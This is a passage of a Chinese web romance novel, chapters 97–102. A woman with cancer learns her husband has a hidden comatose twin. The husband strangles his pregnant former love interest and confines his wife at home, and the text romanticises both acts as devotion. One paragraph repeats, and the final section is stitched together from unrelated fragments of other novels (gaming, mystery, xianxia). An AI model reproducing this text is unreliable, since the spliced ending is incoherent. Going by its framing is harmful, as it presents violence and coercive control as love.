宁穗笑笑,“减肥。” “你还用减肥?你别诳我。”桑甜嗔道。 宁穗笑笑没说什么。 桑甜直觉宁穗有秘密,可是对方不说,她也不问。 她一向有分寸。 “我和笑笑去旁边聊巡展的事,你俩继续聊。”桑甜叫走唐佳笑。 唐佳笑亦步亦趋,走出去又折返,“穗穗,你的身体……” “我挺好的,没事。”宁穗看了一眼王习和桑甜那边,不想让唐佳笑说错话。 对方眼圈红了红,死死咬住唇。 怎么可能挺好呢? 骨髓被人抢了,宁穗还不知道接下来有没有机会等到合适的供体。 可现在不是说这个的时候,唐佳笑点点头,转身离开。 “穗穗,你是不是有事瞒着我?”王旭觉察到什么,苦笑一声,“你连师兄都不信任?” 宁穗摇头,“不是不信任,是不想把你牵扯进来。” 她要逃走,任何一个帮助她的人,都可能被牵连,她不想这样。 王习点头,没有继续深究,而是说:“其实我一直都欠你一句抱歉。” 宁穗莫名地看着他,等着他的下文。 片刻后,王习似是下了很大的决心,“其实郑美婵对你不好,大概率是因为我。” 宁穗愣住,“什么意思?” 王习苦笑一声,没有直接回答,而是反问,“陆勋之是不是已经跟你说了,我和他的关系?” 宁穗抿唇,没说话,但沉默就是默认。 王习苦笑,“这件事听上去,是我母亲破坏了人家的家庭。但事实不是这样的,你愿意听我说吗?” 宁穗并不是八卦的人,但王习想说,她就听着,毕竟刚才他说,郑美婵对她不好,可能跟他有关系。 见宁穗点头,王习继续说:“我母亲跟陆勋之的父亲是青梅竹马,本来是要结婚的,但是我外公病逝,家族式微,陆家反悔,就跟陆勋之的母亲联姻了。当时我母亲已经怀了我。” 王习的外婆让他母亲打掉,但是她舍不得,就生下了王习。 但是郑美婵却一直以为王习的母亲,是想利用王习之后抢家产。 “家产?我母亲要是愿意,当初就直接拿我威胁陆家娶她就好了。她根本不稀罕。” 宁穗见过王习的母亲,小时候经常去他家吃饭。 是个很有教养的温柔女人,的确不像是郑美婵所想的心机女。 “这么多年,那个人一直来找我,我都没见,我母亲也没见。我们根本不打算跟陆家人来往。”王习说的那个人,就是陆勋之的父亲。 “不过没多久,郑美婵生了陆勋之兄弟俩,就没空理我们了。” 宁穗愣住,“陆勋之……兄弟俩?” 第97章陆勋之知道宁穗得了癌症(高潮!) “其实我母亲一直没说,当初她决定生下我,那个人根本不知道我的存在,直到我母亲八个多月,差点流产,就是被郑美婵害的。当时要不是你妈妈帮忙,我和我母亲就要一尸两命了。” 宁穗恍然,怪不得当初宁安静提到郑美婵,有种对郑美婵很了解的感觉。 听到这,宁穗的三观被震惊了一次又一次。 她突然反应过来,“所以郑美婵是因为我妈救了阿姨,所以对我恨屋及乌。” 王习苦恼地点点头,“对不起,穗穗,是我连累了你。” 宁穗摇头,“跟你有什么关系,是郑美婵自己心术不正,三观有问题。” 王习无奈点头,“那次之后,我妈就更注意安全,几乎不出门,才把我生下来。我两岁的时候,还有一次,差点被人贩子带走。我怀疑也跟郑美婵有关。” “不过没多久,郑美婵生了陆勋之兄弟俩,就没空理我们了。” 宁穗愣住,“陆勋之……兄弟俩?” 王习也愣了,“你不知道,陆勋之还有个双胞胎弟弟吗?不过前几年出了事故,他现在植物人了,一直养在国外。” 宁穗真的太震惊了。 她完全不知道陆勋之还有个双胞胎弟弟。 “我记得十几岁的时候,他就受过一次伤,只能坐轮椅。前几年又出事,就变植物人了。这个弟弟本来很活泼,很聪明,当初陆家的老爷子是想培养他的。陆勋之对商业没兴趣,一直想当医生。” 可惜,造化弄人。 陆闻之成了植物人,陆勋之只能放弃医学梦想,继承家业。 …… 如果说陆勋之说的是真的,宋姜的孩子不是他的。 那郑美婵为什么会这么护着宋姜。 除非孩子跟郑美婵有关系。 那只能是…… 可陆闻之已经是植物人了,怎么可能。 这太狗血了。 她突然对陆勋之生出一股怜悯。 自己的白月光如果怀的是自己弟弟的孩子,这多少有点让人难以接受。 …… 保姆给宋姜盛了一碗燕窝,她斜靠在沙发上,正美美吃着。 房门被敲响,保姆过去开门,“先、先生……” 宋姜听到声音,赶紧放下碗,兴高采烈地起身。 陆勋之已经很久没有主动来找过她。 可看到陆勋之的黑沉的脸色时,宋姜的笑容一顿,下一秒,铁钳一样的手抓住了她的脖子。 宋姜瞬间喘不上起来,被陆勋之按在沙发上。 保姆吓坏了,大叫一声,本能地上前想阻止,却被保镖直接拉住丢了出去。 房间里只剩下陆勋之和宋姜,她觉得自己马上就要死了。 脸色瞬间紫黑,勉强挤出声音,“为、为什么……” 陆勋之的眼底猩红,眼神已经不是正常的样子,偏执和疯狂,似乎要毁掉一切。 就在宋姜快要昏过去的瞬间,唐桓赶到,强行拉住了陆勋之。 男人猛地甩开唐桓,后者又赶紧上前拦住,“陆总,她还怀着二少爷的孩子!” 宋姜像块破抹布一样,滑到地上,无力地喘着气,一只手下意识地抱紧肚子。 听到唐桓的话,她慌乱地扯开一点睡袍,让自己的肚子更明显。 虽然不知道陆勋之在发什么神经,但现在孩子是她唯一的护身符。 理智一点点回笼,陆勋之眼底的癫狂褪去一些,但愤怒丝毫未减。 他缓缓蹲下,与宋姜平视,“你抢了宁穗的骨髓,谁也护不住你。” 宋姜瞳孔微缩,没想到陆勋之这么快就查到了。 她眼神躲闪,想要抵赖,“我不知道你说什么,勋之,宁穗怎么了?” 假惺惺的关心,让陆勋之脸色更差了几分。 男人冷冷地凝住她,语气很轻却透着阴森,“现在就送你去引产。” 宋姜脸色瞬间纸白,抱住陆勋之的胳膊,“不要啊!不要!这是闻之的孩子,闻之唯一的血脉!你弄死ta,你对得起闻之吗?” 陆勋之无情地甩开她的手,宋姜摔在地上,胳膊肘的骨头磕在地板上,传来可怖的声响。 宋姜顾不上疼痛,又起身去拉扯陆勋之的裤腿,生怕他真的送自己去引产。 “勋之,求求你了,你别这样对我,好不好?你就算不管我,也要为闻之留下血脉啊。他现在不省人事,还不知道能活多久。” 陆勋之眼底都是冷意,“宋姜,你这个孩子怎么来的?” 宋姜像是被冰冻住,要是让陆勋之知道孩子怎么来的,她就死定了。 “就、就闻之想要的。”宋姜可怜巴巴地哭了起来,“你知道闻之一直喜欢我的。当初要不是你心疼他,把我让给他,不然现在跟你结婚的就是我,还有宁穗什么事?” 陆勋之抽回裤腿,让宋姜扑空,“你想多了。自始至终我都对你没意思。” 宋姜愣了愣,“怎么可能,当年我在宋家过得那么惨,要不是你一直在帮我,我早就死了。你怎么可能对我一点意思都没有?” 她突然想到什么,“是宁穗,在你面前挑拨我们的关系,是不是?一定是她!” 陆勋之嫌恶地看着她,厉声道,“我不想从你嘴里听到宁穗的名字,你不配!” 宋姜愣了几秒冷不丁笑了,“陆勋之,你喜欢宁穗是不是?哈哈哈,你真的很虚伪,她跟着你过日子的时候,你任由你母亲欺负她,完全不管她的死活。她病得快死了,连告诉你的信心都没有。你知道为什么吗?” 陆勋之脸色微沉,嘴角抿成直线。 显然是猜到了为什么。 但宋姜还觉得不够,故意撕破他的遮羞布,“因为她认定你根本不想让她活着!你猜她为什么在失去骨髓之后,捅了你一刀,哈哈哈哈……唔!” “你现在就去死!”陆勋之已经疯了。 宋姜在他的眼底看到决绝,他没想给她留活路。 就算要搭上他自己。 宋姜慌了,脚在地上胡乱蹬,人很快就翻了白眼。 唐桓吓坏了,却怎么都阻止不了陆勋之,他赶紧出去叫人。 手机响起,是郑美婵的电话。 唐桓哪里有心情应付这祖宗,里面还有一个祖宗呢! 可郑美婵就跟失心疯了一样,电话一个接着一个打进来。 完全不给唐桓机会喘息,在指挥着保镖,脱开陆勋之后,唐桓才松口气,接起电话。 “夫人,您——”他话还没说完,那头郑美婵凄厉的声音,划破听筒,震颤整个房间。 “陆勋之!你把闻之藏哪儿去了?你把他还给我!” 第98章 穗穗,我求你,不要离开我 陆闻之不见了。 陆勋之眼底的狂妄瞬间褪去,他冷眼看向宋姜,“你把他藏哪儿了?” 折腾了两趟,宋姜精疲力竭,人躺在地上,没了半条命,睡裙隐隐染上红色。 她有气无力,白着脸狞笑,“你、你找不到的。” 陆勋之理智回笼,居高临下地望着她,像是在看死人,“到底是谁在帮你?” 郑美婵就算再荒唐,也绝不会拿陆闻之开玩笑。 那是她的底线。 宋姜也疯了,笑得有些疯,“你放了我,我就考虑把那个活死人还给你。” 活死人? 陆勋之鼻腔里哼笑出声,“你还是没搞清楚自己的状况。” 他没心情跟宋姜扯皮,转身离开,丢下一句,“把她看管好。” 宋姜见陆勋之直接离开,完全没有跟她谈判的意思。 她害怕了,拖着身子往前爬,“陆勋之,你不能关着我!我要去医院,我流血了!救命!杀人了!” 但这栋别墅,是专门给她买来养胎的。 宋姜一向事儿多,四周几乎没有邻居,她喊破喉咙,也不会有人听见。 当初她引以为豪的金窝窝,现在就是她的牢.笼。 陆勋之大跨着步子走出别墅上车。 唐桓跟着上来,“陆总,要不叫个医生过来看看。” 这个孩子,郑美婵有多看重,大家心知肚明。 现在陆闻之又不见了,他昏迷不醒,要靠机器维持,还不知道能不能找回来。 宋姜说得也没错,这个孩子是陆闻之唯一的血脉了。 陆勋之闭上眼,整个人透着浓浓的疲惫,“你看着办。抓紧派人去找他。” 这个他,自然是陆闻之。 唐桓应声,手机再次划破紧张的空气。 郑美婵又打了电话过来,但陆勋之没接。 他直接挂断,关了机。 …… 宁穗回到景园的时候,人还处于一种迷茫的状态。 王习是陆勋之同父异母的哥哥,这件事,她尚且还能接受。 毕竟是家族丑闻,她不知道也正常。 可是陆勋之还有个双胞胎弟弟陆闻之。 结婚五年,她都不知道,这真的说不过去了。 就连老太太都没跟她提过。 那她这五年算什么? 她在陆家,是不是连个管家都不如? 看着空荡荡的房子,宁穗第一次觉得陌生。 是那种彻头彻尾的陌生。 仿佛她这五年,就生活在一个虚拟的空间里。 过得犹如楚门一样茫然。 宁穗呆呆地坐在沙发上,天从半亮到全黑,直到她觉得有些冷了,她才回神。 刚要起身,大门被人打开,高大的身影,被门外的路灯拉出长长的影子,几乎要压到宁穗的脚边。 两人谁也看不清谁,但在黑暗中,无声对视了几秒钟。 陆勋之拖着步子上前。 砰一声,他单膝跪地,抱住了宁穗的腰身,埋进她的怀里。 骨头撞到地板,宁穗听着都疼。 陆勋之身上裹着凉气,宁穗想去推开他,但他的手就像是钳子一样,紧紧箍住她。 那股压抑了半天的恼火,把宁穗瞬间点燃。 宁穗直接质问,“那个孩子,是不是你弟弟的?” 陆勋之的身体明显一僵,声音沙哑得像是被砂纸擦过,“谁告诉你的?” 宁穗说完就后悔了,胡乱道,“猜的。” 陆勋之静静的,没有说话。 宁穗看不到他的表情,冷不丁笑了,“看来是真的了?你还真有个弟弟?陆勋之,你是不是从来没把我当一家人?” 陆勋之依旧沉默。 明知道这样的质问,没有任何意义。 可这么多年的真情,付诸东流还不算,却一直以来只有她自己是个笑话。 宁穗越说越气,“陆勋之,你既然根本不在乎我的感受,为什么要跟我结婚?现在又为什么不肯离婚!你这个样子,真的很无耻!你——” “对不起。”陆勋之声音很低,但宁穗还是听到了。 她完全愣住。 高傲如陆勋之,他居然会道歉吗? 宁穗怔愣之间,一滴滚烫的液体,落在她的手背上,她怔怔低头看着陆勋之。 对方肩膀微微颤动,像是在哭泣。 这副样子,就像是害怕被丢掉的大狗,紧紧偎在主人面前。 完全没了往日的张狂和高傲。 适应了光线,宁穗甚至看到他衬衣皱得看不出往日的平整,衣角上沾了类似红色的印迹,像是血渍。 狼狈的像是丧家之犬。 宁穗缓过来情绪,轻笑一声,“对不起什么?对不起让我以为孩子是你和宋姜的?对不起让我一直被你的母亲算计,让我接触辐射源得了癌症?还是对不起抢走我的骨髓,让我等死?” 每说一句,就像是一把利刃剌在陆勋之的心尖上。 肉都外翻出来,血淋淋的。 可比起这种疼痛,陆勋之更心疼宁穗语气里的冷淡。 仿佛这种痛,她早就已经习惯。 陆勋之声音哽咽,“穗穗,我不会让你死的。都是我的错,我该死,但我从来……从来都没想过让你离开我。我更不会抢走你的骨髓。” 说到后边这句,陆勋之的声音哽咽得有些发颤。 当宁穗听到陆勋之还有个双胞胎弟弟的时候,一切她都想通了。 孩子是陆闻之的,所以亲子鉴定显示陆勋之是孩子的父亲。 因为双胞胎的基因一模一样。 宋姜就是拿这个信息差,迷惑宁穗。 还有骨髓,大概率也是宋姜搞的鬼。 可那又怎么样呢? “我知道不是你抢的骨髓。可是陆勋之,这些事就算不是你亲手做的又怎么样。你不善待我,所以其他人可以欺辱我,你的放任就是纵容。我想离开,你却不肯放过我。将我拉进更可怕的深渊。我甚至连求生的机会都被剥夺。” 宁穗语速很快地说完这些,好像再慢一秒,她就会被情绪反噬掉。 她不想崩溃,也没机会崩溃。 崩溃只会让她显得更加可笑。 “穗穗,对不起,都是我的错。”陆勋之仰起头,虔诚地看着宁穗,“你再给我一次机会,我会把你治好,你会好起来,我们还回到过去,重新开始,好不好?” “穗穗,我求你,不要离开我。” 第99章 我只要你 宁穗看不清晰陆勋之的脸,但滚烫的热意,持续烫着她的手背。 她的心被烫得发紧。 爱了七年多的男人,孤傲不可一世的他,现在说出这样的话。 她怎么可能毫无感觉? 曾经爱他入骨,每一次她劝服自己放下的时候,都从骨头里拔出一根刺。 痛彻心扉。 可他现在求她不要离开,卑微到了尘埃里。 宁穗眼前慢慢模糊,仿佛陆勋之跟多年前会对她笑的样子重叠。 她扬起眸子看着天花板,深呼吸几次,压下那股湿润。 男人伸手,开了落地灯,让宁穗能看清他。 看清他的狼狈,可怜,他希望宁穗能心软疼疼他。 宁穗眼前逐渐清晰,可看到这样悲哀的陆勋之,她心里并没有多畅快。 就像那天她把刀刺进皮肤的时候,她也没有大仇得报的轻松。 每一次否定陆勋之对她的情感,都是在凌迟她自己。 曾经那么热烈爱过的自己,痴情错付,也是一种悲哀。 “陆勋之,承认爱你很容易,可决定放下你,却很难。”宁穗语气平静的,像是跟陌生人说话,“我和你之间,从来都不是别人在捣乱,是因为我们之间本来就有问题。” “你只是觉得有人热烈地爱你,你很享受。突然我收回这一切爱,你不习惯而已。” 陆勋之下颌紧绷又松开,眼尾猩红得有些吓人,眼底的偏执快要漫出来。 “不是因为习惯,我就是想跟你在一起。”陆勋之极力证明,他捧住宁穗的手,放在唇前,轻轻吻着,是宁穗从而见过的温柔,“宁穗,再给我一次机会,行吗?” 曾经高高在上的陆勋之,卑微至此,可宁穗的表情根本没有一丝变化。 对他的真情完全没了反应。 宁穗,“太迟了,以前我会很期待你对我的爱,哪怕是施舍,我都会甘之如饴。可现在,我们之间没有可能了。你再多的保证,都只会让我觉得,我过去的卑微,是一场笑话。原来你会付出的啊,你会爱人的吗?” 宁穗轻笑,“你这样的条件,会很多人前仆后继地对你好。她们会比我更好,更优秀,你可以选择爱她们。或许你们之间有没有爱,你们互相都不在意。可我在意。你不爱我,就是最大的问题。” 陆勋之再次抱住宁穗,“你不爱我,就没人爱我了。我只要你。别人都不是你。” 巨大的无力感吞噬宁穗,她声音更冷淡了几分,“你是想逼死我吗?” 陆勋之僵硬住。 他知道宁穗现在的情况不乐观,更见过之前宁穗决绝地爬上十楼的窗户。 恐惧感包裹住他,他收紧手臂,仿佛他一松手,宁穗就会不见。 “别提那个字,行吗?穗穗,我不会让你——” 他自己都没办法说出那个字,太沉重,沉重到让他生出前所未有的害怕。 宁穗却不在意地笑了,“陆勋之,你就是学医的,你不知道吗?我的血型配型本来就难。好不容易配上的捐献者,已经被你当礼物送出去了呀。” 陆勋之的心像是被一片片地切下来,疼得他浑身发抖。 他想将宋姜千刀万剐。 可他也是该死的那个人。 宁穗说得对,她今天的窘迫,都是拜他所赐。 “我累了,我要睡觉。”宁穗冷淡道。 陆勋之顿了顿,不舍地松开她,哑声哄着,“好,我带你去休息。” 宁穗想拒绝,可陆勋之起身,将她打横抱起,动作小心翼翼,仿佛在对待珍贵的宝物。 他回到卧室,轻声问,“要洗澡吗?” 宁穗抿唇,“我自己洗。” 陆勋之点头,“好。”好说话的,像是她的仆人一样。 他将人轻轻放下,又去衣帽间拿了换洗的衣服给她。 宁穗没看他一眼,从他手中接过衣服,径直进了浴室,将人关在门外。 等她洗好出来,陆勋之却坐在床边,垂着头等她。 听到声音,他微微扬起眸子看向她,倏地皱紧了眉毛,起身走到她面前。 “怎么不吹干头发,你现在不能生病。”陆勋之的声音有些焦急,转身去拿了吹风筒出来。 拉着宁穗坐下,一点点帮她吹头发。 他的动作很笨拙,但是又很小心。 生怕弄疼她似的。 宁穗怔怔看着他,片刻后,倏地笑出声。 陆勋之关掉吹风筒,垂眸睨着她,“怎么了?” 宁穗擦掉眼角笑出的泪,“陆勋之,你不要再对我好了,这只会让我觉得,我以前像个小丑。” 原来他是会对人好的。 只是这种迟来的深情,她不稀罕了。 陆勋之的脸色微僵,声音颓废下来,“我只是想尽可能地补偿。” “补偿?”宁穗笑弯了眼看他,但眼底没什么温度,也没了爱意,“真想补偿就把我的骨髓还给我。还有,离婚。” 陆勋之瞳孔颤动,微微倾身与她平视,“我会找到骨髓的。但是离婚……以后再说,行吗?” 宁穗冷冷地看着他。 没说什么,转身拉过被子躺下,用背对着他,“我要睡了,你出去吧。” 男人怔怔站在原地,片刻后,才轻着手脚出去。 房门轻轻关上,昏暗中,宁穗缓缓睁开眼,怔怔望着窗外。 宁穗不知道自己是什么时候睡着的,再醒来已经十点多。 她洗漱起床,想下楼去透透气,走到二楼就发现有人在往里面搬机器。 那有一个空房间,平时不怎么用。 宁穗看了几秒,发现是一些医疗设备。 她狐疑的打量几眼下了楼。 保镖拦住了她的去路,“太太,您去哪儿?” 宁穗顿住,之前她的行动已经不受限制。 但是现在陆勋之明显又开始软禁她。 宁穗很不爽,她没说话,折身上楼,回了自己的卧室。 没几分钟,有人来敲门,门外传来陆勋之的声音,“穗穗,你想出去?” 宁穗没好气地开门,“是,我要出去。你让吗?” “你现在身体虚弱,我已经让人在家里准备了检测的仪器,医护人员就在隔壁,随时待命。在找到合适的骨髓之前,你最好待在——” 啪! 一个巴掌落下来,陆勋之的脸被扇得偏向另一边。 第100章 一定要跟我分这么清吗 宁穗的手震得发麻。 她气得胸口起伏的厉害。 陆勋之的下颌绷紧,似是在隐忍什么,他缓了片刻才转过头来,看向宁穗。 “你现在身体需要舒缓,不要生气。” 宁穗气笑了,“一边说要跟我和好,一边又继续伤害我。陆勋之,真有你的。” 她猛地甩上门,上了锁。 人靠在门板上,缓缓滑下去。 冰凉的门板和地面,让宁穗浑身发冷,她不知道陆勋之还要发多久的疯。 她怔怔望了一周四壁。 明明华丽繁复的家,在她眼里,却只是一个华丽的笼子,仅此而已。 她手指穿进自己的发丝,紧紧抓住,头皮肿胀的感觉,让她多了一丝清明。 手机响起,冒出来一个陌生号码。 宁穗右眼角跳了一下,一种不好的预感涌上来。 在她看到对方发过来的照片时,整个人像是被冻住,手指颤抖着,手机啪嗒落在地上。 眼泪瞬间蓄满了眼眶,让她看不清眼前的一切。 她慌乱去捡起手机,胡乱抹了一把眼睛,勉强发了信息过去,【你是谁?想做什么?】 信息石沉大海,没人再发信息过来。 宁穗等啊等,心像是在火山烤。 她没勇气再打开那张照片,但是不看,她又怕自己错过什么重要的信息。 她点开那张图片的瞬间,又闭上眼睛,巨大的痛苦撕扯她的心。 好半天,她才睁开眼睛,看着画面中的一切,她眼眶酸涩得厉害。 她仔细看着图片中的所有细节,心像是被刀子一片片地割着。 疼的呼吸都是紧的。 她看了几秒钟就疼得闭上眼睛。 喉咙里翻上甜腥味,宁穗赶紧关掉了图片。 她拨了一通电话出去,那头秒接,王习的声音传来,“穗穗。” “师兄,有个陌生号码发了一张照片给我……”宁穗喉咙紧得难受,声音都变了形,“我怀疑,师父还活着。” 听到宁穗的话,王习先是一愣,随即语气也紧张起来,“你别着急,照片发给我看看。” “好,我马上给你发。”宁穗挂断了电话,转手将那张照片发过去。 没一会儿唐佳笑的电话也打过来,“穗穗,我也看到照片了,我和王习哥也觉得你的直觉有道理,我们见面聊吧。” “好,那在你店里见。”宁穗完全忘了自己在被陆勋之软禁中,随手拿了一件羽绒服套上,就往外走。 刚打开门,就看到陆勋之垂着头,靠在墙边,不知道在想什么。 在听到声音的一瞬间,转过头来,眼底的落寞还没来得及藏起来。 他倏地站直了身体,嘴角抿成直线。 宁穗就当没看到他,径直往前走。 手腕被一个力道拉住,陆勋之微哑的声音落下来,“去哪儿?” 很平静,完全没有任何情绪。 仿佛只是单纯问她要去哪儿。 但宁穗莫名觉得烦躁,猛地甩开他的手,斜睨着他。 他半张脸还有点红,指印清晰可见。 她猩红着眼睛,眼睫颤动,还有些惊魂未定。 这一点异样,被陆勋之看在眼里,他立刻有些警惕,“出什么事了?” 宁穗愣住,刚才的照片给她的视觉冲击力太大,那种恐惧茫然的时候,被人关心一下。 莫名就会软弱一分。 心里大概也是想让陆勋之能放自己出去。 宁穗说了实话,“我要去见我师兄和笑笑。我师父……可能还活着。” 陆勋之愣住,宁穗师父的事,他也听说过。 当时闹得很大,因为王三保的名气在那摆着,出事的时候也才四十几岁,正值壮年。 业内扼腕叹息,业外也都觉得可惜。 毕竟他的作品,在市场上流通性非常好。 是投资客们喜欢的。 可宁穗现在说他还活着? 陆勋之第一反应是不信的。 可他看到宁穗眼底的泪光,不由得被她的情绪感染,他轻轻收紧手掌,包住宁穗冰凉的手,“我跟你一起去。”陆勋之说。 宁穗本能地警惕起来。 陆勋之无奈,但还是好脾气地解释,“我不是不想让你出门,只是我担心你的身体。” 虽然他没查到宁穗的体检报告,但是她已经到要移植骨髓的地步,且等不到方娟恢复可以二次捐赠。 说明已经艰难维持。 陆勋之心里有些痛,他想说服宁穗带上他,“再者,我或许可以帮忙。” 宁穗愣了愣。 王三保也有人脉,这么多年,业内外都很敬重他。 假如他真的没有死,那策划他假死的人,以及现在又曝光给她信息的人。 都不会是好惹的。 以宁穗现在的实力,可能根本不是对方的对手。 如果陆勋之加进来,那就不一样了。 宁穗眼中的犹疑,一闪而过,被陆勋之精准地捕捉到。 他继续道,“如果你愿意,我可以帮你查王师父的踪迹。” 这句话明显引起了宁穗的兴趣,她没再犹豫,“嗯,走吧。” 她不动声色地脱开陆勋之的手,快步离开。 陆勋之看了一眼空荡荡的掌心,嘴角抿了抿,跨步跟了上去。 宁穗坐上副驾驶,陆勋之开着车。 车子开出去一段路,宁穗淡淡出声,“我记得我和你结婚的时候,我师父送过我一个珍藏版的内画精品,当做我们结婚的礼物。后来你拿去送人,拿到过一个大项目。” 陆勋之握着方向盘的手紧了紧,“穗穗,我其实……” 当时正值他和三房那边斗得最紧张的时候,陆勋之那时候自顾不暇。 是郑美婵拿去送人,等到他发现的时候,项目已经落成。 他当时看到宁穗失望的表情,随即她又懂事地挤出笑容。 说不怪他,还说能够帮上他就行。 可他记得宁穗偷偷在房间里哭过。 后来,他给王三保捐了一个博物馆,专门放他的藏品。 可是亡羊补牢,也换不回当初那只羊了。 宁穗淡淡打断他的话,“我只是想说,你现在帮我找我师父,就当是报答我师父当初间接帮过你吧。跟你我之间的事,没关系。” 陆勋之苦涩扯唇,“你一定要跟我分这么清吗?” 宁穗转脸看向窗外,分清楚点好。 她怕自己欠他的,到时候没办法离开。 第101章 她还记得,关于他的一切 宁穗走进唐佳笑的办公室,王习第一时间站起来,嘴角在看到她身后的陆勋之时,缓缓落了下来。 他两步上前,将宁穗挡在身后,语气里尽是愤怒,“她出来见朋友的自由都没有吗?” 陆勋之冷沉的脸,面色不动,但王习这句话,让他想起来裴斯年之前说的。 “陆勋之,她是她自己的,不是任何人的。你注定要失去她了。” 言外之意,他连宁穗想要什么都不知道。 他的老婆,他怎么会不知道! 陆勋之的脸色更铁青了几分。 宁穗拉住王习的胳膊,“师兄,是我叫他来的。他也许能帮上忙。” 王习先是震惊,他想问宁穗,怎么可能相信陆勋之呢? 但是现在陆勋之都来了,他也不能真的赶人走。 惹怒了陆勋之,对宁穗没有一点好处。 王习他的手攥了攥,还是妥协,“好,穗穗,听你的。” 他反手抓住宁穗的手腕,往旁边走,但没走出去两步,手上一空。 陆勋之将宁穗的手抢过去,攥在自己的掌心里。 宁穗愣了愣,对两个人幼稚的行为很是无语,毫不留情地将手抽出来,走到唐佳笑旁边坐了下来。 唐佳笑完全看呆了,这两人哪里还有平时的样子。 温润如玉完全不镇定,一直黑脸的竟然在争风吃醋。 唐佳笑凑到宁穗耳边说:“你可别被这家伙骗了。” 陆勋之那副皮囊本来就是宁穗喜欢的。 现在又争又抢的样子,谁受得了? 她真怕宁穗又往同一个坑里跳。 宁穗给了她一个无语的眼神,拿出手机照片,放在桌上。 三个人没再闹,都凑了过来。 “这张照片我看了,现在两件事不能确定,一个这张照片的时间,还有师父……是否还在。” 王习语气很沉重,他看了很久,好几次都没办法继续看,要休息一会儿才行。 气氛一下子沉寂下来。 半晌,陆勋之低低沉沉开口,“至少在这张照片拍摄的时候,王老师应该还健在。” 他的话像是一根火柴擦出火星,让大家一下子活起来。 宁穗倏地看向他,眼底闪烁着希望,“你怎么看出来的?” 亮晶晶的,像是黑夜里的星辰,让人心生荡漾。 陆勋之已经很久没见过这样的宁穗,她死气沉沉的生命好像一下子有了活力。 男人眼睛都舍不得眨,凝住宁穗的视线,手指点了几个地方,是王三保受伤的伤口位置。 “王老师的伤口还有活体反应,至少这张照片拍时,他人还是在的。现在只需要确认照片的拍摄时间。” 宁穗低下头,顺着他指的地方看,身体不由得往他身边靠了靠。 甜软的香气丝丝袅袅钻进陆勋之的鼻尖,他微微眯了眯眼睛。 “你怎么这么确定?”王习有些不相信。 宁穗头都没抬,本能地说:“他以前是学医的。解剖学拿过满分。” 陆勋之目光微顿,嘴角弯起很淡的弧度。 她还记得,关于他的一切。 王习则愣住,不动声色地看向陆勋之。 对方正一眨不眨地看着宁穗的侧脸,满眼的柔和。 宁穗的注意力都在照片上,没注意到两人的反应,“那现在就是确定照片的时间。” 唐佳笑说:“我已经找我学计算机的同学帮忙鉴定了,他说照片加了密。看不出时间。” 宁穗失望地点头,随即又看向陆勋之,“我记得你公司业务里有做AI还原的,可以帮忙查查吗?” 陆勋之拿过照片看了看,“对方如果不想让查到,加密很难破解,可能需要很长时间。我让人同步查看,但是也要想别的方法。我担心,要是这张照片是最近的,会耽误营救的时间。” 宁穗喃喃,“那怎么办。” 看着宁穗眼底的光一点点灭掉,陆勋之的心也跟着揪紧,他握住宁穗的手背,“别担心,我来想办法。” 他的手心温暖干燥,让人的心都跟着稳定下来。 宁穗有些出神,没有第一时间躲避开。 …… 宁穗的精神不济,自从她上次没有做成手术之后,她的身体就每况愈下。 裴斯年开给她的药,只能缓解她的症状。 没待太久,陆勋之便带她回家。 回去的路上,宁穗在车上睡着了。 陆勋之小心地停稳车,宁穗依旧睡得很沉,他轻轻用羊绒毯包住她,抱进了卧室。 把宁穗放在床上的时候,她睡梦中喃喃了两声,陆勋之凑近,却被她抓住了衣襟。 她额头上都是汗,似是在做噩梦,声音含含糊糊像是在说“不要”。 陆勋之眉心微折,干脆躺在她身边,将人搂在怀里。 宁穗这才稳定下来。 陆勋之的手放在她的后背上,肩胛骨太过明显,甚至有些硌手。 男人的心揪得发疼,他单手拿出手机,发了信息出去。 那边很快回,【陆总,骨髓捐献者的数据正在加紧筛选,M国那边过两天会给结果。】 陆勋之关上手机,深吸了一口气。 国内找不到,那他就去国外找,全世界找。 他不信,就找不到第二个人能给宁穗捐献。 宁穗的睡眠并不好,因为担心王三保的事,她白天心太累,所以在车上睡着了。 半夜又惊醒过来。 梦里都是王三保浑身是血的,让她救救他。 醒来宁穗浑身都湿透了,好在房间里的暖气开得足,宁穗倒不觉得冷。 但口很渴。 她起身下楼打算倒点水喝,从电梯出来,就看到客厅里站了好几个人,她愣在原地。 陆勋之最先发现了她,看到她只穿了一件吊带睡裙,瞬间拧眉。 随后扯了沙发上的羊绒毯过去,将人结结实实地包住。 这毯子还是刚才他包宁穗的那条,上面沾染了宁穗的气息,他便下意识地带到楼下来,刚才一直盖在怀里。 “冷不冷?”陆勋之语气有些责备,“穿太少。” 羊绒毯温软的触感碰到皮肤,接触立暖,但宁穗现在很热,被这样一裹,更不舒服。 她有些不耐烦地推开,但看到一屋子的生人,还是没有完全推开,“我要喝水。” 陆勋之眉心松了松,“你想喝水,直接叫我就好。”陆勋之的话一出。 一屋子人全部屏气。 这还是刚才大发雷霆差点吃人的陆总? 第102章 可能要了她的命 宁穗没办法忽视一屋子人好奇的八卦目光。 她抿了抿唇,推开陆勋之,乖乖裹住毯子,“你忙吧,我自己可以。” 她转身往厨房方向走,陆勋之视线跟着她,但还是走向客厅。 “陆总,照片这里有个地方有点奇怪。” 所以恐惧之巅格罗姆高也是后世玩家们较少没有攻破的世界地图之一。 如果一楼卧室真的只有那两个对屋内的人来说,打不开的出入口,那么凶手为何要担心罗意凡会发现逃生之路呢?他发现了也出不去,等于白搭。凶手完全可以高枕无忧让他呆在卧室里面。 瞬间,擅长暗杀的刺客就被发现,一轮jiāo锋就废除掉了他的一只手臂。 她自己比谁都明白,这便是自己在武技上所能达到的最高程度了,哪怕再刻苦修炼一百年,一千年也绝对不会提升一丝一毫。 方灿闷哼一声,身躯如同一块破布般弹飞出去,再度重重撞在墙壁上,每一根骨头都仿佛被拆散了似的,稍稍动弹一下便剧痛无比。 方灿得到了通行证,却并没有立刻进场,而是径自朝另一侧地评估参拍处走去。 明明在吟唱青松,画卷在表现青松,可是画卷地飞雪游人、高楼繁华突然蕴含比青松更加澎湃、欢乐和生生不息的感觉,仿佛整个大夏城在大雪之蕴含生机和彭勃的性格一般。 九鬼轮回铃携带着九只鬼将冲入阴魂龙卷风中,飞舞到简玉萱和简玉芙的头顶,如同大钟一样,九只鬼将把双胞胎简玉萱和简玉芙保护了起来,在“叮叮铛铛”的旋转中,保护着简玉萱和简玉芙飞舞了出来。 老者看见这样的情况,一愣,随即反应过来,立即转身,看着那个通道口,果然,李明的身形往通道里面飞驰。 